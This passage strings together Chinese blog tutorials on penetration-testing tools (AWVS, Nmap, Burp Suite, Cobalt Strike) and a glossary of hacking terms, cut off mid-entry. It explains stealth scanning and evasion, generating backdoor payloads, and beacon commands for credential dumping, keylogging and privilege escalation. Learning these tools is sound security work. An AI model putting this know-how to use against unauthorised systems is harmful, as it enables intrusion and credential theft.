简介：Acunetix Web Vulnerability Scanner（简称AWVS）是一款知名的自动化网络漏洞扫描工具，它通过网络爬虫测试你的网站安全，检测流行安全漏洞。它可以扫描任何可通过Web浏览器访问的和遵循HTTP/HTTPS规则的Web站点和Web应用程序。适用于任何中小型和大型企业的内联网、外延网和面向客户、雇员、厂商和其它人员的Web网站。WVS可以通过检查SQL注入攻击漏洞、XSS跨站脚本攻击漏洞等漏洞来审核Web应用程序的安全性。 AWVS官网：https://www.acunetix.com/环境部署：Windows或Linux均可（老规矩，安装非常简单，我在这里仅演示以Docker容器方式安装教程，其他方式不会自行百度安装，不在这里赘述了）Docker安装教程：pull 拉取下载镜像 docker pull secfa/docker-awvs 将Docker的3443端口映射到物理机的 13443端口 docker run -it -d -p 13443:3443 secfa/docker-awvs 容器的相关信息 awvs13 username: admin@admin.com awvs13 password: Admin123 AWVS版本：13.0.200217097 浏览器访问：https://127.0.0.1:13443/ 即可工作方式：1.它将会扫描整个网站，它通过跟踪站点上的所有链接和robots.txt 实现扫描。然后WVS就会映射出站点的结构并显示每个文件的细节. 2.在上述的发现阶段或扫描过程之后，WVS就会自动地对所发现的每一个页面发动一系列的漏洞攻击， 这实质上是横拟黑客的攻击过程，这是一个自动扫描阶段。 3.在它发现漏洞之后，WVS就会在"Alerts Node (警告节点）"中报告这些漏洞. 每一个报告都包含着漏洞信息和如何修复漏洞的建议. 4. 再扫一次,它会将结果保存为文件以备曰后分析以及与以前的扫描相比较，使用报告工具，就可以创建一个专业的报告来总结这次扫描.功能介绍：1.WebScanner：全站扫描，Web安全漏洞扫描 2.Site Crawler：爬虫功能，遍历站点目录结构 3.Target Finder：端口扫描，找出web服务器 4.Subdomain Scanner：子域名扫描器，利用DNS查询 5.Blind SQL Injector：盲注工具 6.HTTP Editor：http协议数据包编辑器 7.HTTP Sniffer：HTTP协议嗅探器 8.HTTP Fuzzer：模糊测试工具 9.Authentication Tester：Web认证破解工具 10.Web Srevice Scanner：Web服务扫描器 11.Web Srevice Editor：Web服务编辑器特点：1.自动的客户端脚本分析器，允许对 Ajax 和 Web 2.0 应用程序进行安全性测试。 2.业内最先进且深入的 SQL 注入和跨站脚本测试 3.高级渗透测试工具，例如 HTTP Editor 和 HTTP Fuzzer 4.可视化宏记录器帮助您轻松测试 web 表格和受密码保护的区域 5.支持含有 CAPTHCA 的页面，单个开始指令和 Two Factor（双因素）验证机制 6.丰富的报告功能，包括 VISA PCI 依从性报告 7.高速的多线程扫描器轻松检索成千上万个页面 8.智能爬行程序检测 web 服务器类型和应用程序语言 9.Acunetix 检索并分析网站，包括 flash 内容、SOAP 和 AJAX 10.端口扫描 web 服务器并对在服务器上运行的网络服务执行安全检查 11.可导出网站漏洞文件使用方法：1.登录进入AWVS控制面板。2.添加扫描目标，并设置好对应扫描参数，例如扫描等级，UA等。3.等待结束，查看扫描结果。本文仅介绍AWVS的简单入门，更多功能自行学习探索，相信你会掌握这一款强大的渗透测试扫描神器，禁止非法扫描，后果自负。当你懈怠的时候，请想一下你父母期待的眼神。因为有悔，所以披星戴月;因为有梦，所以奋不顾身。
简介：Nmap （网络映射器）是Gordon Lyon最初编写的一种安全扫描器，用于发现计算机网络上的主机和服务，从而创建网络的“映射”。为了实现其目标，Nmap将特定数据包发送到目标主机，然后分析响应.NMAP强大的网络工具，用于枚举和测试网络。Nmap是一款网络扫描和主机检测的非常有用的工具。 Nmap是不局限于仅仅收集信息和枚举，同时可以用来作为一个漏洞探测器或安全扫描器。它可以适用winodws,linux,mac等操作系统，是一款非常强大的渗透测试工具。 Nmap官网：https://nmap.org/环境部署：Winodws,linux,mac等操作系统均可（Kali自带Nmap工具，直接命令调用即可，安装非常简单，不会请自行百度，就不在这里赘述了）。常用功能介绍：1.主机发现(Host Detection)：识别网络上的主机，例如，列出响应TCP和/或ICMP请求或打开特定端口的主机。2.端口扫描(Port Scanning)： 枚举目标主机上的开放端口。3.版本侦测(version Detection)：检测远程设备上的网络服务以确定应用程序名称和版本号。4.操作系统侦测(Operating System Detection)：检测网络设备的操作系统和硬件特性。参数语法:nmap [选项/多选项/协议] [目标地址] 例： nmap -A 127.0.0.1-100 //对一个ip范围进行全面扫描常用参数:-A :全面扫描. 综合扫描. 是一种完整扫描目标信息的扫描方式. --exclude : 排除指定的地址 例: nmap 192.168.1.0/24 --exclude 192.168.1.1 那么就不会对192.168.1.1进行扫描, --excludefile : 排除指定的地址列表 例: nmap 192.168.1.0/24 --excludefile list.txt 那么就不会对list.txt里面的地址进行扫描, -iL : 扫描一个列表文件 例 nmap -iL list.txt -sP : Ping扫描,效率高,返回信息少. 例: nmap -sP 192.168.1.110 -P0(Pn) :无Ping扫描,可以躲避防火墙防护,可以在目标主机禁止ping的情况下使用 -PS :TCP SYN Ping扫描 -PA :TCP ACK Ping扫描 PR : ARP Ping扫描 -n : 禁止DNS反向解析 -T : 时序选项, -TO-T5. 用于IDS逃逸,0=>非常慢,1=>缓慢的,2=>文雅的,3=>普通的,4=>快速的,5=>急速的 -p : 指定端口扫描 -F : 快速扫描 -f : 报文分段 -D : ip地址欺骗 例 nmap -D RND:5 192.168.1.110 RND:为生成随机ip地址 -sS : TCP SYN 扫描,速度快, 1秒1000次左右. 较为隐蔽. -sT : TCP连接扫描 -sU : UDP扫描,扫描非常慢,容易被忽视 -sN,-sF : 隐蔽扫描 -sI : 空闲扫描,允许端口完全欺骗,可以允许不使用自身ip的情况下发起扫描,非常之隐蔽的扫描.但得先寻找空闲主机,指令为 nmap -p80 -open -script ipidseq 192.168......,第二种是往事随机寻找, nmap -p80 -open -script ipidseq -iR 2000 (iR选项代表随机选择目标.2000带表选择的数量,-open代表只选择端口开放的空闲主机) -p- : 扫描所有端口 1-65535 -top-ports : 只扫描开发概率最高的端口 后面跟上数值 例 nmap -top-ports 100 , 就是扫描概率最高的前100个端口 <版本探测相关>: -sV : 版本探测 ,通过相应的端口探测对应的服务,根据服务的指纹识别出相应的版本. -sV --allports : 只有使用--allports才能扫描所有的端口,默认情况下回跳过如 TCP9100端口(hp打印机专用端口) --version-intersity : 设置扫描强度 0-9 ,数值越大越有可能被识别,花费时间越多,默认是7 --version-ligth : 扫描强度,轻量级扫描(2) ,等用于--version-intersity 2 --version-all :扫描强度,重量级扫描(9) ,等同于--version-intersity 9 --version-trace : 获取详细的版本信息 -sR : 判断开放端口是否为RPC端口, 如果是返回程序和版本号. --resaon : 显示主机存活原因 End...常用命令：1.Nmap的纯扫描,默认情况下，nmap会发出一个arp ping扫描，且扫描目标tcp端口,范围为1-10000。 nmap 127.0.0.1 2.NMAP普通扫描增加输出冗长（非常详细） nmap -vv 127.0.0.1 3.端口扫描 nmap 127.0.0.1 -p 80 (指定定单个端口） nmap 127.0.0.1 -p 1-100 （多个端口） nmap 127.0.0.1 -p- (所有端口) nmap -sP 10.1.112.89 （Ping扫描） nmap -sS 127.0.0.1 -p 80 （SYN半连接扫描） nmap -sT 127.0.0.1 -p 80 （TCP全连接扫描） nmap -sU 127.0.0.1 （UDP扫描） nmap -sF 127.0.0.1 （FIN，目标可能有IDS/IPS系统的存在，防火墙可能过滤掉SYN数据包，发送一个FIN标志的数据包不需要完成TCP的握手。） 4.路由追踪 nmap --traceroute 127.0.0.1 5.nmap设置扫描一个网段下的ip nmap -sP 127.0.0.1 /24 6.扫描目标主机版本（不是很准确） nmap -O 127.0.0.1 -p 80 7.扫描目标服务版本 nmap -O -sV 127.0.0.1 -p 80 8.全面扫描（包含了1-10000端口ping扫描，操作系统扫描，脚本扫描，路由跟踪，服务探测） nmap -A 127.0.0.1 -p- 9.保存结果 nmap -A 127.0.0.1 -p- -oN nmap1 10.nmap命令混合式扫描 nmap -vv -p1-100 -o 127.0.0.1 11.扫描多个目标 nmap 127.0.0.1 127.0.0.2 nmap 127.0.0.1-100 (扫描IP地址为127.0.0.1-127.0.0.100内的所有主机) nmap -iL target.txt （namp在同一目录下,扫描这个txt内的所有主机） 注：使用时请将127.0.0.1更换为目标IP地址 End...效果示例：努力和收获，都是自己的，与他人无关。最大的成就感，就是一直在朝着自己想要的方向前进。
渗透测试神器BurpSuite模块说明及使用教程
BurpSuite简介：Burp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具，并为这些工具设计了许多接口，以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息，持久性，认证，代理，日志，警报的一个强大的可扩展的框架。 Burp Suite是一款信息安全从业人员必备的集 成型的渗透测试工具，它采用自动测试和半自动测试的方式，通过拦截HTTP/HTTPS的web数据包，充当浏览器和相关应用程序的中间人，进行拦截、修改、重放数据包进行测试，是web安全人员的一把必备的瑞士军刀。环境：JavaBurpSuite官网：https://portswigger.net/burp模块说明：1.Dashboard（仪表盘任务模块） （1）Tasks：扫描漏洞任务 （2）Event log：事件日志 （3）issue activity：动态发现的问题 2.Target模块（目标请求响应全部记录） （1）Site map：爬取出来的站点地图 （2）Scope：分别是在范围的显示和在范围内的不显示，支持正则表达式 （3）Issue definitions:一些漏洞信息 （4）Filter:过滤规则设置 3.Proxy（代理模块 ） （1）Intercept:拦截信息 （2）HTTP History:历史拦截信息 （3）WebSockets history：记录WebSockets数据包 （4）Options:代理监听，请求和响应，拦截反应，匹配和替换，ssl等规则设置 4.Intruder模块（入侵自动化攻击） （1）Target:目标 （2）Positions: Sniper:一个字典，两个参数，先匹配第一个参数，再匹配第二个参数 Battering ram:一个字典，两个参数，一个字典同时匹配两个参数，同用户名同密码 Pitchfork:两个字典，两个参数，两个字典分别匹配两个参数，到短的截至 Cluster bomb:两个字典，两个参数，交叉匹配(使用第一个字典的第一项匹配第一个 参数，然后遍历第二个字典)，所有可能 （3）Payloads：载荷，字典选择，预置规则处理字典（如转换为md5值 ） （4）Options：Intruder的各种设置 5.Repeater模块（请求重放） Repeater的操作界面中，左边为请求消息区，右边为应答消息区，当编辑完请求消息后，单击"GO"按钮即可发送请求给服务器，应答消息区显示的是服务器端的反馈消息，通过修改请求消息的参数来比对分析每次应答消息之间的差异。 6.Sequencer(序列器) （1）Live capture：信息截取 （2）Manual load：手动加载 （3）Analysis options：选项分析 6.Decoder模块（编码解码） 7.Comparer模块（对比） 8.Extender模块（插件扩展api） 9.User options模块（用户设置）简单拦截抓包改包使用教程：1.配置Java环境并安装启动BurpSuite工具（非常简单，不在这里赘述了，不会请自行百度解决）。2.打开Proxy模块中的Options选项，添加一个监听代理（默认为127.0.0.1:8080），并进入浏览器设置同样的代理（我这边用到的是Firefox火狐浏览器），如需监听SSL可以直接在Options选项中导出证书安装到浏览器或在设置代理后于浏览器中访问 http://burp 直接下载并安装证书。3.打开Proxy模块中的Intercep选项并开启拦截，此时我们再访问一个http协议的URL就可以在BurpSuite工具中看到截获的内容，HTTP History选项中可显示所有历史拦截信息（forward可以放行此次请求，如果你点击drop则丢弃此请求数据，继续请求后能够看到返回结果）。注：Raw：这个视图主要显示web请求的raw格式，包含请求地址， http协议版本， 主机头， 浏览器信息，accept可接受的内容类型，字符集，编码方式，cookies等, 可以手动修改这些内容，然后在点击forward进行渗透测试 params：这个视图主要是显示客户端请求的参数信息，get或者post的参数，cookies参数，也可以修改 headers：是头部信息和Raw其实差不多，展示更直观 Hex：这个视图显示Raw的二进制内容 Intercep选项中Action功能说明（一个菜单可用的动作行为操作可以有哪些操作功能）： Send to Spider 发送给爬虫 Do an active scan 执行主动扫描 Send to Intruder 发送到入侵者 Send to Repeater 发送到中继器 Send to Sequencer 发送到序列发生器 Send to Comparer 发送到比较器 Send to Decoder 发送到解码器 Request in browser 在浏览器的请求 Engagement tools 参与工具 Change request method 对所有的请求，经过把所有相关的请求参数适当地搬迁到这个请求里来，你就可以自动地把请求的方法在 POST 和 GET 中间切换。通过发送恶意的请求使用这个选项来快速测试应用程序的极限参数是多少。 Change body encoding 对于所有的请求，你可以在应用程序/X-WWW 格式的 URL 编码和多重表单/数据之间切换消息体的编码方式。 Copy URL 把当前的 URL 完整地复制到粘贴板上。 Cope as curl command 作为curl命令。 Cope to file 这个功能允许你把选择一个文件，并把消息的内容复制到这个文件里。这个对二进制数据来说是很方便的，要是通过粘贴板来复制会带来一些问题。复制操作是在选择的文本上进行的，如果没有被选中的内容，则是针对整个消息了。 Pase form file 这个功能允许你选择一个文件，并把文件里的内容粘贴到消息里。这个对二进制数据来说是很方便的，要是通过粘贴板来复制会带来一些问题。粘贴操作会替换掉被选中的内容，如果没有内容被选中，则在光标位置插入这些内容。 Save item 这个功能让你指定一个文件，把选中的请求和响应以XML的格式保存到这个文件，这里面包括所有的元数据如：响应的长度，HTTP 的状态码以及 MIME 类型。 Don’t intercept requests 通过这些命令可以快速地添加拦截动作的规则来阻止拦截到的消息，这些消息和当前的消息有着相同的特征(如远程主机，资源类型，响应编码)。 Do intercept 仅对请求有效，这允许你可以对当请求和响应的进行强制拦截。 Convert seiection 这些功能让你能够以多种方案对选择的文本进行快速的编码和解码。 URL-encode as you type 如果这个选项被打开，你输入的像&和=这样的符号会被等价的 URL编码代替。 Cut 剪切 Copy 复制 Paste 粘贴 Message edit help 消息编辑帮助 Proxy interception help 代理拦截帮助4.改拦截下来的信息包直接可以直接修改Raw中内容，比如我这里将在我博客中搜索的test使用BurpSuite改为test404，如图操作我们就可以完成一个简单的修改请求数据包操作。其他：这里我只是介绍了BurpSuite工具的常用模块及一些简单操作，BurpSuite作为渗透测试神器，是一款值得深入学习了解的工具，它的功能远远不止这些，可以说你能想到的操作，都可以利用BurpSuite实现。谢谢。
简介：Cobalt Strike是一款渗透测试神器，常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用，它分为客户端与服务端，服务端是一个，客户端可以有多个，可被团队进行分布式协团操作。Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成，包括站点克隆获取浏览器的相关信息等。CobaltStrike官网:https://www.cobaltstrike.com环境：Java设备：Windows或Linux均可（推荐服务端使用Linux服务器）目录文件和功能介绍： agscript：扩展应用的脚本 c2lint：该文件主要检查profile的错误和异常 teamserver：服务端启动程序 cobaltstrike.jar：CobaltStrike主要核心程序 cobaltstrike.auth：用于客户端和服务端认证的文件（建议自己有时间可以查看一下cs的源码） cobaltstrike.store：密钥证书存放文件 data：用于保存当前TeamServer的数据 logs：日志文件（web日志、Beacon日志、截图日志、下载日志、键盘记录日志等等） third-party：第三方工具目录 AggressorScripts-master：插件目录使用教程：（1）服务端：1.首先我们在服务端安装Java环境，这个非常简单就不在这里赘述了，不会请自行百度解决。2.cd切换到下载好的CobaltStrike工具文件夹目录，启动运行服务端。./teamserver ip 密码 nohub ./teamserver ip 密码 //后台运行，关闭终端依旧运行 注意：cs默认监听端口为50050，可以打开teamserver文件，修改端口 ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD] <host> 必需参数 服务器IP <password> 必需参数 连接服务器的密码 [/path/to/c2.profile] 可选参数 指定C2通信配置文件，体现其强大的扩展性 [YYYY-MM-DD] 可选参数 所有payload的终止时间（2）客户端1.连接到服务端。java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar 需切换到CobaltStrike执行，Windows使用cmd执行命令。2.创建监听器。打开监听器→Add→添加一个监听器。3.生成后门文件，并将生成的后门文件在对应客户端运行即可上线。 1.HTML Appliaction：生成一个恶意的HTML Appliacton木马，后缀为'.hta'。通过HTML调用其他语言的应用组件进行攻击，提供可执行文件。 2.MS Office Macro：生成office宏病毒文件。 3.Payload Generator：生成各种编程语言的payload（包含C、C#、COM Scriptlet、Java、Perl、Powershell、Python、Ruby、VBA） 4.Windows Executable：生成32位或64位的exe、dll可执行文件 5.Windows Executable(S)：用于生成一个exe可执行文件，包含Beacon的完整payload，与4相比，该模块额外提供了代理功能，以便在比较严苛德环境下进行渗透测试。并且支持Powershell脚本，用于将Stageless Payload注入内存。4.远控进行vnc，文件管理，进程查看等一系列操作。（3）常用命令 argue 进程参数欺骗 blockdlls 在子进程中阻止非Microsoft的DLLs文件 browserpivot 注入受害者浏览器进程 bypassuac 绕过UAC cancel 取消正在进行的下载 cd 切换目录 checkin 强制让被控端回连一次 clear 清除beacon内部的任务队列 connect 通过TCP连接到Beacon covertvpn 部署Covert VPN客户端 cp 复制文件 dcsync 从DC中提取密码哈希 desktop 远程VNC dllinject 反射DLL注入进程 dllload 使用LoadLibrary将DLL加载到进程中 download 下载文件 downloads 列出正在进行的文件下载 drives 列出目标盘符 elevate 尝试提权 execute 在目标上执行程序(无输出) execute-assembly 在目标上内存中执行本地.NET程序 exit 退出beacon getprivs 对当前令牌启用系统权限 getsystem 尝试获取SYSTEM权限 getuid 获取用户ID hashdump 转储密码哈希值 help 帮助 inject 在特定进程中生成会话 jobkill 杀死一个后台任务 jobs 列出后台任务 kerberos_ccache_use 从ccache文件中导入票据应用于此会话 kerberos_ticket_purge 清除当前会话的票据 kerberos_ticket_use 从ticket文件中导入票据应用于此会话 keylogger 键盘记录 kill 结束进程 link 通过命名管道连接到Beacon logonpasswords 使用mimikatz转储凭据和哈希值 ls 列出文件 make_token 创建令牌以传递凭据 mimikatz 运行mimikatz mkdir 创建一个目录 mode dns 使用DNS A作为通信通道(仅限DNS beacon) mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon) mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon) mode http 使用HTTP作为通信通道 mv 移动文件 net net命令 note 给当前目标机器备注 portscan 进行端口扫描 powerpick 通过Unmanaged PowerShell执行命令 powershell 通过powershell.exe执行命令 powershell-import 导入powershell脚本 ppid 为生成的post-ex任务设置父PID ps 显示进程列表 psexec 使用服务在主机上生成会话 psexec_psh 使用PowerShell在主机上生成会话 psinject 在特定进程中执行PowerShell命令 pth 使用Mimikatz进行传递哈希 pwd 当前目录位置 reg 查询注册表 rev2self 恢复原始令牌 rm 删除文件或文件夹 rportfwd 端口转发 run 在目标上执行程序(返回输出) runas 以另一个用户权限执行程序 runasadmin 在高权限下执行程序 runu 在另一个PID下执行程序 screenshot 屏幕截图 setenv 设置环境变量 shell cmd执行命令 shinject 将shellcode注入进程 shspawn 生成进程并将shellcode注入其中 sleep 设置睡眠延迟时间 socks 启动SOCKS4代理 socks stop 停止SOCKS4 spawn 生成一个会话 spawnas 以其他用户身份生成会话 spawnto 将可执行程序注入进程 spawnu 在另一个PID下生成会话 ssh 使用ssh连接远程主机 ssh-key 使用密钥连接远程主机 steal_token 从进程中窃取令牌 timestomp 将一个文件时间戳应用到另一个文件 unlink 断开与Beacon的连接 upload 上传文件 wdigest 使用mimikatz转储明文凭据 winrm 使用WinRM在主机上生成会话 wmi 使用WMI在主机上生成会话（4）其他：这里仅仅介绍了CobaltStrike工具的一小部分功能，CobaltStrike是一款非常强大的远控工具，更多功能请自行深入探究。实战免杀远控操作请看本人博客另一篇文章：https://blog.361s.cn/55.html最后送给大家一句话;“疯狂源自梦想，技术成就辉煌，实力创造价值！”与诸君共勉，谢谢。
很多刚入门的小白对文章或大佬提到一些网络安全术语一头雾水，今天给大家分享一些常见的网络安全术语。1、肉鸡：所谓“肉鸡”是一种很形象的比喻，比喻那些可以随意被我们控制的电脑，对方可以是WINDOWS系统，也可以是UNIX/LINUX系统，可以是普通的个人电脑，也可以是大型的服务器，我们可以象操作自己的电脑那样来操作它们，而不被对方所发觉。2、木马：就是那些表面上伪装成了正常的程序，但是当这些被程序运行时，就会获取系统的整个控制权限。有很多黑客就是 热中与使用木马程序来控制别人的电脑，比如灰鸽子，黑洞，PcShare等等。 3、网页木马：表面上伪装成普通的网页文件或是将而已的代码直接插入到正常的网页文件中，当有人访问时，网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。4、挂马：就是在别人的网站文件里面放入网页木马或者是将代码潜入到对方正常的网页文件里，以使浏览者中马。5、后门：这是一种形象的比喻，入侵者在利用某些方法成功的控制了目标主机后，可以在对方的系统中植入特定的程序，或者是修改某些设置。这些改动表面上是很难被察觉的，但是入侵者却可以使用相应的程序或者方法来轻易的与这台电脑建立连接，重新控制这台电脑，就好象是入侵者偷偷的配了一把主人房间的要是，可以随时进出而不被主人发现一样。 通常大多数的特洛伊木马(Trojan Horse)程序都可以被入侵者用语制作后门(BackDoor)6、rootkit：rootkit是攻击者用来隐藏自己的行踪和保留root(根权限，可以理解成WINDOWS下的system或者管理员权限)访问权限的工具。通常，攻击者通过远程攻击的方式获得root访问权限，或者是先使用密码猜解(破解)的方式获得对系统的普通访问权限，进入系统后，再通过，对方系统内存在的安全漏洞获得系统的root权限。然后，攻击者就会在对方的系统中安装rootkit，以达到自己长久控制对方的目的，rootkit与我们前边提到的木马和后门很类似，但远比它们要隐蔽，黑客守卫者就是很典型的rootkit，还有国内的ntroorkit等都是不错的rootkit工具。7、IPC$：是共享“命名管道”的资源，它是为了让进程间通信而开放的饿命名管道，可以通过验证用户名和密码获得相应的权限，在远程管理计算机和查看计算机的共享资源时使用。8、弱口令：指那些强度不够，容易被猜解的，类似123，abc这样的口令(密码)9、默认共享：默认共享是WINDOWS2000/XP/2003系统开启共享服务时自动开启所有硬盘的共享，因为加了"$"符号，所以看不到共享的托手图表，也成为隐藏共享。10、shell：指的是一种命令指行环境，比如我们按下键盘上的“开始键+R”时出现“运行”对话框，在里面输入“cmd”会出现一个用于执行命令的黑窗口，这个就是WINDOWS的Shell执行环境。通常我们使用远程溢出程序成功溢出远程电脑后得到的那个用于执行系统命令的环境就是对方的shell11、WebShell：WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做是一种网页后门。黑客在入侵了一个网站后，通常会将这些asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起，好后就可以使用浏览器来访问这些asp 或者php后门，得到一个命令执行环境，以达到控制网站服务器的目的。可以上传下载文件，查看数据库，执行任意程序命令等。国内常用的WebShell有海阳ASP木马，Phpspy，c99shell等12、溢出：确切的讲，应该是“缓冲区溢出”。简单的解释就是程序对接受的输入数据没有执行有效的检测而导致错误，后果可能是造成程序崩溃或者是执行攻击者的命令。大致可以分为两类：(1)堆溢出;(2)栈溢出。13、注入：随着B/S模式应用开发的发展，使用这种模式编写程序的程序员越来越来越多，但是由于程序员的水平参差不齐相当大一部分应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想要知的数据，这个就是所谓的SQLinjection，即：SQL注入。14、注入点：是可以实行注入的地方，通常是一个访问数据库的连接。根据注入点数据库的运行帐号的权限的不同，你所得到的权限也不同。15、内网：通俗的讲就是局域网，比如网吧，校园网，公司内部网等都属于此类。查看IP地址如果是在以下三个范围之内的话，就说明我们是处于内网之中的：10.0.0.0—10.255.255.255，172.16.0.0—172.31.255.255，192.168.0.0—192.168.255.25516、外网：直接连入INTERNET(互连网)，可以与互连网上的任意一台电脑互相访问，IP地址不是保留IP(内网)IP地址。17、端口：(Port)相当于一种数据的传输通道。用于接受某些数据，然后传输给相应的服务，而电脑将这些数据处理后，再将相应的恢复通过开启的端口传给对方。一般每一个端口的开放的偶对应了相应的服务，要关闭这些端口只需要将对应的服务关闭就可以了。18、3389、4899肉鸡：3389是Windows终端服务(Terminal Services)所默认使用的端口号，该服务是微软为了方便网络管理员远程管理及维护服务器而推出的，网络管理员可以使用远程桌面连接到网络上任意一台开启了终端服务的计算机上，成功登陆后就会象操作自己的电脑一样来操作主机了。这和远程控制软件甚至是木马程序实现的功能很相似，终端服务的连接非常稳定，而且任何杀毒软件都不会查杀，所以也深受黑客喜爱。黑客在入侵了一台主机后，通常都会想办法先添加一个属于自己的后门帐号，然后再开启对方的终端服务，这样，自己就随时可以使用终端服务来控制对方了，这样的主机，通常就会被叫做3389肉鸡。Radmin是一款非常优秀的远程控制软件，4899就是Radmin默认使以也经常被黑客当作木马来使用(正是这个原因，目前的杀毒软件也对Radmin查杀了)。有的人在使用的服务端口号。因为Radmin的控制功能非常强大，传输速度也比大多数木马快，而且又不被杀毒软件所查杀，所用Radmin管理远程电脑时使用的是空口令或者是弱口令，黑客就可以使用一些软件扫描网络上存在Radmin空口令或者弱口令的主机，然后就可以登陆上去远程控制对恶劣，这样被控制的主机通常就被成做4899肉鸡。19、免杀：就是通过加壳、加密、修改特征码、加花指令等等技术来修改程序，使其逃过杀毒软件的查杀20、加壳：就是利用特殊的酸法，将EXE可执行程序或者DLL动态连接库文件的编码进行改变(比如实现压缩、加密)，以达到缩小文件体积或者加密程序编码，甚至是躲过杀毒软件查杀的目的。目前较常用的壳有UPX，ASPack、PePack、PECompact、UPack、免疫007、木马彩衣等等。21、花指令：就是几句汇编指令，让汇编语句进行一些跳转，使得杀毒软件不能正常的判断病毒文件的构造。说通俗点就是”杀毒软件是从头到脚按顺序来查找病毒。如果我们把病毒的头和脚颠倒位置，杀毒软件就找不到病毒了“。22、TCP/IP是一种网络通信协议，他规范了网络上所有的通信设备，尤其是一个主机与另一个主机之间的数据往来格式以及传送方式.，TCP/IP是INTERNET的基础协议，也是一种电脑数据打包和寻址的标准方法.在数据传诵中，可以形象地理解为两个信封，TCP和IP就像是信封，要传递的信息被划为若干段，每一段塞入一个TCP信封，并在该信封面上记录有分段号的信息，再将TCP信封塞入IP大信封，发送上网.23、路由器路由器应该是在网络上使用最高的设备之一了，它的主要作用就是路由选路，将IP数据包正确的送到目的地，因此也叫IP路由器.24、蜜罐好比是情报收集系统.蜜罐好象是故意让人攻击的目标，引诱黑客来攻击，所有攻击者入侵后，你就可以知道他是如何得逞的，随时了解针对你的服务器发动的最新的攻击和漏洞.还可以通过窃听黑客之间的联系，收集黑客所用的种种工具，并且掌握他们的社交网络.25、拒绝服务攻击DOS是DENIALOFSERVICE的简称，即拒绝服务，造成DOS的攻击行为被称为DOS攻击，其目的是使计算机或网络无法正常服务，最常见的DOS攻击有计算机网络宽带攻击和连通性攻击，连通性攻击指用大量的连接请求冲击计算机，使得所有可用的操作系统资源被消耗，最终计算机无法再处理合法用户的请求.26、脚本注入攻击(SQLINJECTION)所谓脚本注入攻击者把SQL命令插入到WEB表单的输入域或也面请求的查学字符串，欺骗服务器执行恶意的SQL命令，在某些表单中，用户输入的内容直接用来构造动态的SQL命令，或作为存储过程的输入参数，这类表单特别容易受到SQL注入式攻击.27、防火墙使用防火墙（Firewall）是一种确保网络安全的方法。防火墙是指设置在不同网络（如可信任的企业内部网和不可信的公共网）或网络安全域之间的一系列部件的组合。它是不同网络或网络安全域之间信息的惟一出入口，能根据企业的安全政策控制（允许、拒绝、监测）出入网络的信息流，且本身具有较强的抗攻击能力。它是提供信息安全服务，实现网络和信息安全的基础设施。28、入侵检测入侵检测是防火墙的合理补充，帮助系统对付网络攻击，扩展系统管理员的安全管理能力（包括安全审计、监视、进攻识别和响应），提高信息安全基础结构的完整性。它从计算机网络系统中的若干关键点收集信息，并分析这些信息，检查网络中是否有违反安全策略的行为和遭到袭击的迹象29、数据包监测数据包监测可以被认为是一根窃听电话线在计算机网络中的等价物。当某人在“监听”网络时，他们实际上是在阅读和解释网络上传送的数据包。如果你需要在互联网上通过计算机发送一封电子邮件或请求下载一个网页，这些操作都会使数据通过你和数据目的地之间的许多计算机。这些传输信息时经过的计算机都能够看到你发送的数据，而数据包监测工具就允许某人截获数据并且查看它。在这里值得一题的是，美国的落山基级骇动力潜艇就有几艘专们用于海底电缆的数据监听。特别是太平洋。30、NIDSNIDS是NetworkIntrusionDetectionSystem的缩写，即网络入侵检测系统，主要用于检测Hacker或Cracker通过网络进行的入侵行为。NIDS的运行方式有两种，一种是在目标主机上运行以监测其本身的通信信息，另一种是在一台单独的机器上运行以监测所有网络设备的通信信息，比如Hub、路由器。31、SYN包TCP连接的第一个包，非常小的一种数据包。SYN攻击包括大量此类的包，由于这些包看上去实际不存在的站点，因此无法有效进行处理。32、加密技术加密技术是最常用的安全保密手段，利用技术手段把重要的数据变为乱码（加密）传送，到达目的地后再用相同或不同的手段还原（解密）。 加密技术包括两个元素：算法和密钥。算法是将普通的信息或者可以理解的信息与一串数字（密钥）结合，产生不可理解的密文的步骤，密钥是用来对数据进行编码和解密的一种算法。在安全保密中，可通过适当的钥加密技术和管理机制来保证网络的信息通信安全。33、局域网内部的ARP攻击ARP协议的基本功能就是通过目标设备的IP地址，查询目标设备的MAC地址，以保证通信的进行。基于ARP协议的这一工作特性，黑客向对方计算机不断发送有欺诈性质的ARP数据包，数据包内包含有与当前设备重复的Mac地址，使对方在回应报文时，由于简单的地址重复错误而导致不能进行正常的网络通信。一般情况下，受到ARP攻击的计算机会出现两种现象:（1）不断弹出“本机的XXX段硬件地址与网络中的XXX段地址冲突”的对话框。（2）计算机不能正常上网，出现网络中断的症状。因为这种攻击是利用ARP请求报文进行“欺骗”的，所以防火墙会误以为是正常的请求数据包，不予拦截。因此普通的防火墙很难抵挡这种攻击。34、欺骗攻击网络欺骗的技术主要有：HONEYPOT和分布式HONEYPOT、欺骗空间技术等。主要方式有:IP欺骗、ARP欺骗、DNS欺骗、Web欺骗、电子邮件欺骗、源路由欺骗（通过指定路由，以假冒身份与其他主机进行合法通信或发送假报文，使受攻击主机出现错误动作）、地址欺骗（包括伪造源地址和伪造中间站点）等。35、嗅探计算机网络的共享通讯道的，支持每对通讯计算机独占通道的交换机/集线器仍然过于昂贵，共享意为着计算机能够接收到发送给其他计算机的信息，捕获在网络中传输的数据信息就称为嗅探.36、跳板一个具有辅助作用的机器，利用这个主机作为一个间接工具，来入侵其他主机，一般和肉鸡连用。37、权限计算机用户对于文件及目录的建立，修改，删除以及对于某些服务的访问，程序的执行，是以权限的形式来严格区分的.被赋予了相应的权限，就可以进行相应的操作，否则就不可以.38、溢出程序在处理我们提交给它的数据时，有的时候忘了检查数据的大小与合法性，那么这些数据可能会超过属于自己的地盘，覆盖到其它数据的盘.如果这些超长数